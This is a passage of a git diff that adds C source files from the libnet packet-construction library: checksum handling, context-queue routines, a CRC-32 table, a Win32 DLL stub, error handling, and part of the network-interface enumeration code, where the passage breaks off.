+ case IPPROTO_VRRP:
+ {
+ struct libnet_vrrp_hdr *vrrph_p =
+ (struct libnet_vrrp_hdr *)(buf + ip_hl);
+
+ vrrph_p->vrrp_sum = 0;
+ sum = libnet_in_cksum((u_int16_t *)vrrph_p, len);
+ vrrph_p->vrrp_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
+ case LIBNET_PROTO_CDP:
+ { /* XXX - Broken: how can we easily get the entire packet size? */
+ struct libnet_cdp_hdr *cdph_p =
+ (struct libnet_cdp_hdr *)buf;
+
+ cdph_p->cdp_sum = 0;
+ sum = libnet_in_cksum((u_int16_t *)cdph_p, len);
+ cdph_p->cdp_sum = LIBNET_CKSUM_CARRY(sum);
+ break;
+ }
+ case LIBNET_PROTO_ISL:
+ {
+ // struct libnet_isl_hdr *islh_p =
+ // (struct libnet_isl_hdr *)buf;
+ /*
+ * Need to compute 4 byte CRC for the ethernet frame and for
+ * the ISL frame itself. Use the libnet_crc function.
+ */
+ }
+ default:
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): unsuported protocol %d\n", __func__, protocol);
+ return (-1);
+ }
+ }
+ return (1);
+}
+
+
+u_int16_t
+libnet_ip_check(u_int16_t *addr, int len)
+{
+ int sum;
+
+ sum = libnet_in_cksum(addr, len);
+ return (LIBNET_CKSUM_CARRY(sum));
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_cq.c b/libnet/src/libnet_cq.c
new file mode 100644
index 0000000..b5359f7
--- /dev/null
+++ b/libnet/src/libnet_cq.c
@@ -0,0 +1,395 @@
+/*
+ * $Id: libnet_cq.c,v 1.11 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_cq.c - context queue management routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Copyright (c) 2002 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+/* private function prototypes */
+static libnet_cq_t *libnet_cq_find_internal(libnet_t *);
+static int libnet_cq_dup_check(libnet_t *, char *);
+static libnet_cq_t *libnet_cq_find_by_label_internal(char *label);
+
+/* global context queue */
+static libnet_cq_t *l_cq = NULL;
+static libnet_cqd_t l_cqd = {0, CQ_LOCK_UNLOCKED, NULL};
+
+
+static inline int set_cq_lock(u_int x)
+{
+ if (check_cq_lock(x))
+ {
+ return (0);
+ }
+
+ l_cqd.cq_lock |= x;
+ return (1);
+}
+
+static inline int clear_cq_lock(u_int x)
+{
+ if (!check_cq_lock(x))
+ {
+ return (0);
+ }
+
+ l_cqd.cq_lock &= ~x;
+ return (1);
+}
+
+int
+libnet_cq_add(libnet_t *l, char *label)
+{
+ libnet_cq_t *new;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* check for write lock on the context queue */
+ if (cq_is_wlocked())
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't add, context queue is write locked\n", __func__);
+ return (-1);
+ }
+
+ /* ensure there is a label */
+ if (label == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): empty label\n",
+ __func__);
+ return (-1);
+ }
+
+ /* check to see if we're the first node on the list */
+ if (l_cq == NULL)
+ {
+ l_cq = (libnet_cq_t *)malloc(sizeof (libnet_cq_t));
+ if (l_cq == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't malloc initial context queue: %s\n",
+ __func__, strerror(errno));
+ return (-1);
+ }
+
+ l_cq->context = l;
+
+ /* label the context with the user specified string */
+ strncpy(l->label, label, LIBNET_LABEL_SIZE);
+ l->label[LIBNET_LABEL_SIZE] = '\0';
+
+ l_cq->next = NULL;
+ l_cq->prev = NULL;
+
+ /* track the number of nodes in the context queue */
+ l_cqd.node = 1;
+
+ return (1);
+ }
+
+ /* check to see if the cq we're about to add is already in the list */
+ if (libnet_cq_dup_check(l, label))
+ {
+ /* error message set in libnet_cq_dup_check() */
+ return (-1);
+ }
+
+ new = (libnet_cq_t *)malloc(sizeof (libnet_cq_t));
+ if (l_cq == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't malloc new context queue: %s\n",
+ __func__, strerror(errno));
+ return (-1);
+ }
+
+ new->context = l;
+
+ /* label the context with the user specified string */
+ strncpy(l->label, label, LIBNET_LABEL_SIZE);
+ l->label[LIBNET_LABEL_SIZE] = '\0';
+
+ new->next = l_cq;
+ new->prev = NULL;
+
+ l_cq->prev = new;
+ l_cq = new;
+
+ /* track the number of nodes in the context queue */
+ l_cqd.node++;
+
+ return (1);
+}
+
+libnet_t *
+libnet_cq_remove(libnet_t *l)
+{
+ libnet_cq_t *p;
+ libnet_t *ret;
+
+ if (l_cq == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't remove from empty context queue\n", __func__);
+ return (NULL);
+ }
+
+ if (l == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't remove empty libnet context\n", __func__);
+ return(NULL);
+ }
+
+ /* check for write lock on the cq */
+ if (cq_is_wlocked())
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't remove, context queue is write locked\n",
+ __func__);
+ return (NULL);
+ }
+
+ if ((p = libnet_cq_find_internal(l)) == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): context not present in context queue\n", __func__);
+ return (NULL);
+ }
+
+ if (p->prev)
+ {
+ p->prev->next = p->next;
+ }
+ else
+ {
+ l_cq = p->next;
+ }
+ if (p->next)
+ {
+ p->next->prev = p->prev;
+ }
+
+ ret = p->context;
+ free(p);
+
+ /* track the number of nodes in the cq */
+ l_cqd.node--;
+
+ return (ret);
+}
+
+libnet_t *
+libnet_cq_remove_by_label(char *label)
+{
+ libnet_cq_t *p;
+ libnet_t *ret;
+
+ if ((p = libnet_cq_find_by_label_internal(label)) == NULL)
+ {
+ /* no context to write an error message */
+ return (NULL);
+ }
+
+ if (cq_is_wlocked())
+ {
+ /* now we have a context, but the user can't see it */
+ return (NULL);
+ }
+
+ if (p->prev)
+ {
+ p->prev->next = p->next;
+ }
+ else
+ {
+ l_cq = p->next;
+ }
+ if (p->next)
+ {
+ p->next->prev = p->prev;
+ }
+
+ ret = p->context;
+ free(p);
+
+ /* track the number of nodes in the cq */
+ l_cqd.node--;
+
+ return (ret);
+}
+
+libnet_cq_t *
+libnet_cq_find_internal(libnet_t *l)
+{
+ libnet_cq_t *p;
+
+ for (p = l_cq; p; p = p->next)
+ {
+ if (p->context == l)
+ {
+ return (p);
+ }
+ }
+ return (NULL);
+}
+
+int
+libnet_cq_dup_check(libnet_t *l, char *label)
+{
+ libnet_cq_t *p;
+
+ for (p = l_cq; p; p = p->next)
+ {
+ if (p->context == l)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): context already in context queue\n", __func__);
+ return (1);
+ }
+ if (strncmp(p->context->label, label, LIBNET_LABEL_SIZE) == 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): duplicate label %s\n", __func__, label);
+ return (1);
+ }
+ }
+ /* no duplicate */
+ return (0);
+}
+
+libnet_cq_t *
+libnet_cq_find_by_label_internal(char *label)
+{
+ libnet_cq_t *p;
+
+ if (label == NULL)
+ {
+ return (NULL);
+ }
+
+ for (p = l_cq; p; p = p->next)
+ {
+ if (!strncmp(p->context->label, label, LIBNET_LABEL_SIZE))
+ {
+ return (p);
+ }
+ }
+ return (NULL);
+}
+
+libnet_t *
+libnet_cq_find_by_label(char *label)
+{
+ libnet_cq_t *p;
+
+ p = libnet_cq_find_by_label_internal(label);
+ return (p ? p->context : NULL);
+}
+
+int8_t *
+libnet_cq_getlabel(libnet_t *l)
+{
+ return (l->label);
+}
+
+void
+libnet_cq_destroy()
+{
+ libnet_cq_t *p = l_cq;
+ libnet_cq_t *tmp;
+
+ while (p)
+ {
+ tmp = p;
+ p = p->next;
+ libnet_destroy(tmp->context);
+ free(tmp);
+ }
+}
+
+libnet_t *
+libnet_cq_head()
+{
+ if (l_cq == NULL)
+ {
+ return (NULL);
+ }
+
+ if (!set_cq_lock(CQ_LOCK_WRITE))
+ {
+ return (NULL);
+ }
+
+ l_cqd.current = l_cq;
+ return (l_cqd.current->context);
+}
+
+int
+libnet_cq_last()
+{
+ if (l_cqd.current)
+ {
+ return (1);
+ }
+ else
+ {
+ return (0);
+ }
+}
+
+libnet_t *
+libnet_cq_next()
+{
+ if (l_cqd.current == NULL)
+ {
+ return (NULL);
+ }
+
+ l_cqd.current = l_cqd.current->next;
+ return (l_cqd.current ? l_cqd.current->context : NULL);
+}
+
+u_int32_t
+libnet_cq_size()
+{
+ return (l_cqd.node);
+}
diff --git a/libnet/src/libnet_crc.c b/libnet/src/libnet_crc.c
new file mode 100644
index 0000000..f6af690
--- /dev/null
+++ b/libnet/src/libnet_crc.c
@@ -0,0 +1,113 @@
+/*
+ * $Id: libnet_crc.c,v 1.5 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet
+ * libnet_crc.c - CRC routine
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+
+/* CRC routines based off of sample code in appendix of RFC 2083 */
+static u_int crc_table[256] =
+{
+ 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
+ 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
+ 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
+ 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
+ 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
+ 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
+ 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
+ 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
+ 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
+ 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
+ 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
+ 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
+ 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
+ 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
+ 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
+ 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
+ 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
+ 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
+ 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
+ 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
+ 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
+ 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
+ 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
+ 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
+ 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
+ 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
+ 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
+ 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
+ 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
+ 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
+ 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
+ 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
+ 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
+ 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
+ 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
+ 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
+ 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
+ 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
+ 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
+ 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
+ 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
+ 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
+ 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
+};
+
+
+/*
+ * Compute the CRC of the contents of a buffer
+ *
+ * CRC generator G(x) is the sum of x^n for
+ * n = 32, 26, 23, 22, 16, 12, 11, 10, 8, 7, 5, 4, 2, 1, 0
+ */
+u_int32_t
+libnet_compute_crc(u_int8_t *buf, u_int32_t len)
+{
+ u_int32_t val;
+
+ val = ~0;
+ while (len--)
+ {
+ val = crc_table[(val ^ *buf) & 0xff] ^ (val >> 0x08);
+ buf++;
+ }
+ return (~val);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_dll.c b/libnet/src/libnet_dll.c
new file mode 100644
index 0000000..cbeb3d1
--- /dev/null
+++ b/libnet/src/libnet_dll.c
@@ -0,0 +1,47 @@
+/*
+ *
+ * libnet
+ * libnet_dll.c - low-level win32 dll routines
+ *
+ * Copyright (c) 2002 Roberto Larcher <roberto.larcher@libero.it>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#include "../include/win32/libnet.h"
+#include "packet32.h"
+
+BOOL WINAPI DllMain(HINSTANCE hinst, ULONG fdwReason, LPVOID lpReserved)
+{
+ switch (fdwReason)
+ {
+ case DLL_PROCESS_ATTACH:
+ break;
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return (TRUE);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_error.c b/libnet/src/libnet_error.c
new file mode 100644
index 0000000..306c73d
--- /dev/null
+++ b/libnet/src/libnet_error.c
@@ -0,0 +1,55 @@
+/*
+ * $Id: libnet_error.c,v 1.6 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet
+ * libnet_error.c - error handling code
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+
+char *
+libnet_geterror(libnet_t *l)
+{
+ if (l == NULL)
+ {
+ return (NULL);
+ }
+
+ return (l->err_buf);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_if_addr.c b/libnet/src/libnet_if_addr.c
new file mode 100644
index 0000000..5ffd840
--- /dev/null
+++ b/libnet/src/libnet_if_addr.c
@@ -0,0 +1,415 @@
+/*
+ * $Id: libnet_if_addr.c,v 1.22 2004/03/04 20:51:07 kkuehl Exp $
+ *
+ * libnet
+ * libnet_if_addr.c - interface selection code
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+#ifdef HAVE_SYS_SOCKIO_H
+#include <sys/sockio.h>
+#endif
+#include "../include/ifaddrlist.h"
+
+#define MAX_IPADDR 512
+
+#if !(__WIN32__)
+
+/*
+ * By testing if we can retrieve the FLAGS of an iface
+ * we can know if it exists or not and if it is up.
+ */
+int
+libnet_check_iface(libnet_t *l)
+{
+ struct ifreq ifr;
+ int fd, res;
+
+ fd = socket(AF_INET, SOCK_DGRAM, 0);
+ if (fd < 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s() socket: %s\n", __func__,
+ strerror(errno));
+ return (-1);
+ }
+
+ strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) -1);
+ ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
+
+ res = ioctl(fd, SIOCGIFFLAGS, (int8_t *)&ifr);
+
+ if (res < 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s() ioctl: %s\n", __func__,
+ strerror(errno));
+ }
+ else
+ {
+ if ((ifr.ifr_flags & IFF_UP) == 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %s is down\n",
+ __func__, l->device);
+ res = -1;
+ }
+ }
+ close(fd);
+ return (res);
+}
+
+
+/*
+ * Return the interface list
+ */
+
+#ifdef HAVE_SOCKADDR_SA_LEN
+#define NEXTIFR(i) \
+((struct ifreq *)((u_char *)&i->ifr_addr + i->ifr_addr.sa_len))
+#else
+#define NEXTIFR(i) (i + 1)
+#endif
+
+#ifndef BUFSIZE
+#define BUFSIZE 2048
+#endif
+
+#ifdef HAVE_LINUX_PROCFS
+#define PROC_DEV_FILE "/proc/net/dev"
+#endif
+
+int
+libnet_ifaddrlist(register struct libnet_ifaddr_list **ipaddrp, int8_t *dev,
+register int8_t *errbuf)
+{
+ register struct libnet_ifaddr_list *al;
+ struct ifreq *ifr, *lifr, *pifr, nifr;
+ int8_t device[sizeof(nifr.ifr_name)];
+ static struct libnet_ifaddr_list ifaddrlist[MAX_IPADDR];
+
+ char *p;
+ struct ifconf ifc;
+ struct ifreq ibuf[MAX_IPADDR];
+ register int fd, nipaddr;
+
+#ifdef HAVE_LINUX_PROCFS
+ FILE *fp;
+ char buf[2048];
+#endif
+
+ fd = socket(AF_INET, SOCK_DGRAM, 0);
+ if (fd < 0)
+ {
+ snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): socket error: %s\n",
+ __func__, strerror(errno));
+ return (-1);
+ }
+
+#ifdef HAVE_LINUX_PROCFS
+ if ((fp = fopen(PROC_DEV_FILE, "r")) == NULL)
+ {
+ snprintf(errbuf, LIBNET_ERRBUF_SIZE,
+ "%s(): fopen(proc_dev_file) failed: %s\n", __func__,
+ strerror(errno));
+ return (-1);
+ }
+#endif
+
+ memset(&ifc, 0, sizeof(ifc));
+ ifc.ifc_len = sizeof(ibuf);
+ ifc.ifc_buf = (caddr_t)ibuf;
+
+ if(ioctl(fd, SIOCGIFCONF, &ifc) < 0)
+ {
+ snprintf(errbuf, LIBNET_ERRBUF_SIZE,
+ "%s(): ioctl(SIOCGIFCONF) error: %s\n",
+ __func__, strerror(errno));
+ return(-1);
+ }
+
+ pifr = NULL;
+ lifr = (struct ifreq *)&ifc.ifc_buf[ifc.ifc_len];
+
+ al = ifaddrlist;
+ nipaddr = 0;
+
+#ifdef HAVE_LINUX_PROCFS
+ while (fgets(buf, sizeof(buf), fp))
+ {
+ if ((p = strchr(buf, ':')) == NULL)
+ {
+ continue;
+ }
+ *p = '\0';
+ for(p = buf; *p == ' '; p++) ;
+
+ strncpy(nifr.ifr_name, p, sizeof(nifr.ifr_name) - 1);
+ nifr.ifr_name[sizeof(nifr.ifr_name) - 1] = '\0';
+
+#else /* !HAVE_LINUX_PROCFS */
+
+ for (ifr = ifc.ifc_req; ifr < lifr; ifr = NEXTIFR(ifr))
+ {
+ /* XXX LINUX SOLARIS ifalias */
+ if((p = strchr(ifr->ifr_name, ':')))
+ {
+ *p='\0';
+ }
+ if (pifr && strcmp(ifr->ifr_name, pifr->ifr_name) == 0)
+ {
+ continue;
+ }
+ strncpy(nifr.ifr_name, ifr->ifr_name, sizeof(nifr.ifr_name) - 1);
+ nifr.ifr_name[sizeof(nifr.ifr_name) - 1] = '\0';
+#endif
+
+ /* save device name */
+ strncpy(device, nifr.ifr_name, sizeof(device) - 1);
+ device[sizeof(device) - 1] = '\0';
+
+ if (ioctl(fd, SIOCGIFFLAGS, &nifr) < 0)
+ {
+ pifr = ifr;
+ continue;
+ }
+ if ((nifr.ifr_flags & IFF_UP) == 0)
+ {
+ pifr = ifr;
+ continue;
+ }
+
+ if (dev == NULL && LIBNET_ISLOOPBACK(&nifr))
+ {
+ pifr = ifr;
+ continue;
+ }
+
